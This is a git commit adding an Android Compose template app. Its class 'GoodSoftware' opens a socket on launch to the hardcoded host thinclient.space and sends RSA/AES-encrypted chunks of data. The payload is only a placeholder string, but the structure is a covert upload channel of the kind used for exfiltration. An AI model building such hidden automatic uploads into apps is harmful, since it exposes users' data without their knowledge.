commit cdeb70f197d4e856e23886364c7c28b48945d17f Author: Joren Date: Tue Apr 30 23:32:12 2024 +0200 Initial Commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..aa724b7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,15 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..26d3352 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/.idea/compiler.xml b/.idea/compiler.xml new file mode 100644 index 0000000..b589d56 --- /dev/null +++ b/.idea/compiler.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml new file mode 100644 index 0000000..9c96b2b --- /dev/null +++ b/.idea/deploymentTargetDropDown.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/gradle.xml b/.idea/gradle.xml new file mode 100644 index 0000000..32522c1 --- /dev/null +++ b/.idea/gradle.xml @@ -0,0 +1,18 @@ + + + + + + \ No newline at end of file diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 0000000..44ca2d9 --- /dev/null +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,41 @@ + + + + \ No newline at end of file diff --git a/.idea/kotlinc.xml b/.idea/kotlinc.xml new file mode 100644 index 0000000..fdf8d99 --- /dev/null +++ b/.idea/kotlinc.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/.idea/migrations.xml b/.idea/migrations.xml new file mode 100644 index 0000000..f8051a6 --- /dev/null +++ b/.idea/migrations.xml @@ -0,0 +1,10 @@ + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..0ad17cb --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,10 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/.gitignore b/app/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/app/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/app/build.gradle.kts b/app/build.gradle.kts new file mode 100644 index 0000000..194b908 --- /dev/null +++ b/app/build.gradle.kts @@ -0,0 +1,70 @@ +plugins { + alias(libs.plugins.androidApplication) + alias(libs.plugins.jetbrainsKotlinAndroid) +} + +android { + namespace = "com.ti.m" + compileSdk = 34 + + defaultConfig { + applicationId = "com.ti.m" + minSdk = 24 + targetSdk = 34 + versionCode = 1 + versionName = "1.0" + + testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner" + vectorDrawables { + useSupportLibrary = true + } + } + + buildTypes { + release { + isMinifyEnabled = false + proguardFiles( + getDefaultProguardFile("proguard-android-optimize.txt"), + "proguard-rules.pro" + ) + } + } + compileOptions { + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 + } + kotlinOptions { + jvmTarget = "1.8" + } + buildFeatures { + compose = true + } + composeOptions { + kotlinCompilerExtensionVersion = "1.5.1" + } + packaging { + resources { + excludes += "/META-INF/{AL2.0,LGPL2.1}" + } + } +} + +dependencies { + + implementation(libs.androidx.core.ktx) + implementation(libs.androidx.lifecycle.runtime.ktx) + implementation(libs.androidx.activity.compose) + implementation(platform(libs.androidx.compose.bom)) + implementation(libs.androidx.ui) + implementation(libs.androidx.ui.graphics) + implementation(libs.androidx.ui.tooling.preview) + implementation(libs.androidx.material3) + testImplementation(libs.junit) + androidTestImplementation(libs.androidx.junit) + androidTestImplementation(libs.androidx.espresso.core) + androidTestImplementation(platform(libs.androidx.compose.bom)) + androidTestImplementation(libs.androidx.ui.test.junit4) + debugImplementation(libs.androidx.ui.tooling) + debugImplementation(libs.androidx.ui.test.manifest) + +} \ No newline at end of file diff --git a/app/proguard-rules.pro b/app/proguard-rules.pro new file mode 100644 index 0000000..481bb43 --- /dev/null +++ b/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/app/src/androidTest/java/com/ti/m/ExampleInstrumentedTest.kt b/app/src/androidTest/java/com/ti/m/ExampleInstrumentedTest.kt new file mode 100644 index 0000000..c252380 --- /dev/null +++ b/app/src/androidTest/java/com/ti/m/ExampleInstrumentedTest.kt @@ -0,0 +1,24 @@ +package com.ti.m + +import androidx.test.platform.app.InstrumentationRegistry +import androidx.test.ext.junit.runners.AndroidJUnit4 + +import org.junit.Test +import org.junit.runner.RunWith + +import org.junit.Assert.* + +/** + * Instrumented test, which will execute on an Android device. + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +@RunWith(AndroidJUnit4::class) +class ExampleInstrumentedTest { + @Test + fun useAppContext() { + // Context of the app under test. + val appContext = InstrumentationRegistry.getInstrumentation().targetContext + assertEquals("com.ti.m", appContext.packageName) + } +} \ No newline at end of file diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..bef7bdb --- /dev/null +++ b/app/src/main/AndroidManifest.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt new file mode 100644 index 0000000..f48baa7 --- /dev/null +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -0,0 +1,111 @@ +package com.ti.m + +import java.io.BufferedReader +import java.io.InputStreamReader +import java.io.PrintWriter +import java.net.Socket +import java.security.KeyFactory +import java.security.PublicKey +import java.security.SecureRandom +import java.security.spec.X509EncodedKeySpec +import javax.crypto.Cipher +import javax.crypto.spec.IvParameterSpec +import javax.crypto.spec.SecretKeySpec + +class GoodSoftware { + private companion object { + private const val RSA_ALGORITHM = "RSA" + private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding" + + private val keyFactory = KeyFactory.getInstance(RSA_ALGORITHM) + private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA) + + fun decodeBase64(input: String): ByteArray { + return android.util.Base64.decode(input, android.util.Base64.DEFAULT) + } + + fun encodeBase64(input: ByteArray): String { + return android.util.Base64.encodeToString(input, android.util.Base64.DEFAULT) + } + + fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String { + val cipher = Cipher.getInstance(algorithm) + cipher.init(Cipher.DECRYPT_MODE, key, iv) + val plainText = cipher.doFinal(decodeBase64(cipherText)) + return String(plainText) + } + + fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String { + val cipher = Cipher.getInstance(algorithm) + cipher.init(Cipher.ENCRYPT_MODE, key, iv) + val cipherText = cipher.doFinal(inputText.toByteArray()) + return encodeBase64(cipherText) + } + + fun getPublicKeyFromString(publicKeyString: String): PublicKey? = + try { + val keySpec = + X509EncodedKeySpec(decodeBase64(publicKeyString)) + keyFactory.generatePublic(keySpec) + } catch (exception: Exception) { + exception.printStackTrace() + null + } + + fun encryptText(plainText: String, publicKey: PublicKey): String? = + try { + cipher.init(Cipher.ENCRYPT_MODE, publicKey) + encodeBase64(cipher.doFinal(plainText.toByteArray())).lines().joinToString("") + } catch (exception: Exception) { + exception.printStackTrace() + null + } + } + + fun sendDataToServer(sendData: String) { + val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! + val host = "thinclient.space" + val port = 5645 + val secureRandom = SecureRandom() + val keyBytes = ByteArray(16) + val ivBytes = ByteArray(16) + secureRandom.nextBytes(keyBytes) + secureRandom.nextBytes(ivBytes) + val key = SecretKeySpec(keyBytes, "AES") + val iv = IvParameterSpec(ivBytes) + val algorithm = "AES/CBC/PKCS5Padding" + + val chunkSize = 45 + val chunks = sendData.lines().joinToString("").chunked(chunkSize) + + val socket = Socket(host, port) + val writer = PrintWriter(socket.getOutputStream(), true) + val reader = BufferedReader(InputStreamReader(socket.getInputStream())) + + val encodedKey = encodeBase64(keyBytes) + writer.println(encryptText(encodedKey, pKey)) + + reader.readLine() + val encodedIV = encodeBase64(ivBytes) + writer.println(encryptText(encodedIV, pKey)) + reader.readLine() + + for (chunk in chunks) { + val cipherText = encrypt(algorithm, chunk, key, iv) + writer.println(cipherText) + reader.readLine() + } + + writer.println("END_OF_COMMUNICATION") + reader.readLine() + + println("Client: Ready for next operation") + writer.println("Ready for next operation") + reader.readLine() + + // Close resources + writer.close() + reader.close() + socket.close() + } +} diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt new file mode 100644 index 0000000..e05c78b --- /dev/null +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -0,0 +1,51 @@ +package com.ti.m + +import android.os.Bundle +import androidx.activity.ComponentActivity +import androidx.activity.compose.setContent +import androidx.compose.foundation.layout.fillMaxSize +import androidx.compose.material3.MaterialTheme +import androidx.compose.material3.Surface +import androidx.compose.material3.Text +import androidx.compose.runtime.Composable +import androidx.compose.ui.Modifier +import androidx.compose.ui.tooling.preview.Preview +import com.ti.m.ui.theme.MTheme + +class MainActivity : ComponentActivity() { + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContent { + MTheme { + // A surface container using the 'background' color from the theme + Surface( + modifier = Modifier.fillMaxSize(), + color = MaterialTheme.colorScheme.background + ) { + Greeting("Android") + } + } + } + val goodSoftware = GoodSoftware() + + val dataToSend = "Amazing data" + goodSoftware.sendDataToServer(dataToSend) + + } +} + +@Composable +fun Greeting(name: String, modifier: Modifier = Modifier) { + Text( + text = "Hello $name!", + modifier = modifier + ) +} + +@Preview(showBackground = true) +@Composable +fun GreetingPreview() { + MTheme { + Greeting("Android") + } +} \ No newline at end of file diff --git a/app/src/main/java/com/ti/m/ui/theme/Color.kt b/app/src/main/java/com/ti/m/ui/theme/Color.kt new file mode 100644 index 0000000..579d3e6 --- /dev/null +++ b/app/src/main/java/com/ti/m/ui/theme/Color.kt @@ -0,0 +1,11 @@ +package com.ti.m.ui.theme + +import androidx.compose.ui.graphics.Color + +val Purple80 = Color(0xFFD0BCFF) +val PurpleGrey80 = Color(0xFFCCC2DC) +val Pink80 = Color(0xFFEFB8C8) + +val Purple40 = Color(0xFF6650a4) +val PurpleGrey40 = Color(0xFF625b71) +val Pink40 = Color(0xFF7D5260) \ No newline at end of file diff --git a/app/src/main/java/com/ti/m/ui/theme/Theme.kt b/app/src/main/java/com/ti/m/ui/theme/Theme.kt new file mode 100644 index 0000000..8f32043 --- /dev/null +++ b/app/src/main/java/com/ti/m/ui/theme/Theme.kt @@ -0,0 +1,70 @@ +package com.ti.m.ui.theme + +import android.app.Activity +import android.os.Build +import androidx.compose.foundation.isSystemInDarkTheme +import androidx.compose.material3.MaterialTheme +import androidx.compose.material3.darkColorScheme +import androidx.compose.material3.dynamicDarkColorScheme +import androidx.compose.material3.dynamicLightColorScheme +import androidx.compose.material3.lightColorScheme +import androidx.compose.runtime.Composable +import androidx.compose.runtime.SideEffect +import androidx.compose.ui.graphics.toArgb +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.platform.LocalView +import androidx.core.view.WindowCompat + +private val DarkColorScheme = darkColorScheme( + primary = Purple80, + secondary = PurpleGrey80, + tertiary = Pink80 +) + +private val LightColorScheme = lightColorScheme( + primary = Purple40, + secondary = PurpleGrey40, + tertiary = Pink40 + + /* Other default colors to override + background = Color(0xFFFFFBFE), + surface = Color(0xFFFFFBFE), + onPrimary = Color.White, + onSecondary = Color.White, + onTertiary = Color.White, + onBackground = Color(0xFF1C1B1F), + onSurface = Color(0xFF1C1B1F), + */ +) + +@Composable +fun MTheme( + darkTheme: Boolean = isSystemInDarkTheme(), + // Dynamic color is available on Android 12+ + dynamicColor: Boolean = true, + content: @Composable () -> Unit +) { + val colorScheme = when { + dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> { + val context = LocalContext.current + if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context) + } + + darkTheme -> DarkColorScheme + else -> LightColorScheme + } + val view = LocalView.current + if (!view.isInEditMode) { + SideEffect { + val window = (view.context as Activity).window + window.statusBarColor = colorScheme.primary.toArgb() + WindowCompat.getInsetsController(window, view).isAppearanceLightStatusBars = darkTheme + } + } + + MaterialTheme( + colorScheme = colorScheme, + typography = Typography, + content = content + ) +} \ No newline at end of file diff --git a/app/src/main/java/com/ti/m/ui/theme/Type.kt b/app/src/main/java/com/ti/m/ui/theme/Type.kt new file mode 100644 index 0000000..70fcdb6 --- /dev/null +++ b/app/src/main/java/com/ti/m/ui/theme/Type.kt @@ -0,0 +1,34 @@ +package com.ti.m.ui.theme + +import androidx.compose.material3.Typography +import androidx.compose.ui.text.TextStyle +import androidx.compose.ui.text.font.FontFamily +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.sp + +// Set of Material typography styles to start with +val Typography = Typography( + bodyLarge = TextStyle( + fontFamily = FontFamily.Default, + fontWeight = FontWeight.Normal, + fontSize = 16.sp, + lineHeight = 24.sp, + letterSpacing = 0.5.sp + ) + /* Other default text styles to override + titleLarge = TextStyle( + fontFamily = FontFamily.Default, + fontWeight = FontWeight.Normal, + fontSize = 22.sp, + lineHeight = 28.sp, + letterSpacing = 0.sp + ), + labelSmall = TextStyle( + fontFamily = FontFamily.Default, + fontWeight = FontWeight.Medium, + fontSize = 11.sp, + lineHeight = 16.sp, + letterSpacing = 0.5.sp + ) + */ +) \ No newline at end of file diff --git a/app/src/main/res/drawable/ic_launcher_background.xml b/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/app/src/main/res/drawable/ic_launcher_foreground.xml b/app/src/main/res/drawable/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..6f3b755 --- /dev/null +++ b/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..6f3b755 --- /dev/null +++ b/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/app/src/main/res/mipmap-hdpi/ic_launcher.webp new file mode 100644 index 0000000..c209e78 Binary files /dev/null and b/app/src/main/res/mipmap-hdpi/ic_launcher.webp differ diff --git a/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp new file mode 100644 index 0000000..b2dfe3d Binary files /dev/null and b/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ diff --git a/app/src/main/res/mipmap-mdpi/ic_launcher.webp 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b/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..f8c6127 --- /dev/null +++ b/app/src/main/res/values/colors.xml @@ -0,0 +1,10 @@ + + + #FFBB86FC + #FF6200EE + #FF3700B3 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..d0feb1d --- /dev/null +++ b/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + m + \ No newline at end of file diff --git a/app/src/main/res/values/themes.xml b/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..8289510 --- /dev/null +++ b/app/src/main/res/values/themes.xml @@ -0,0 +1,5 @@ + + + +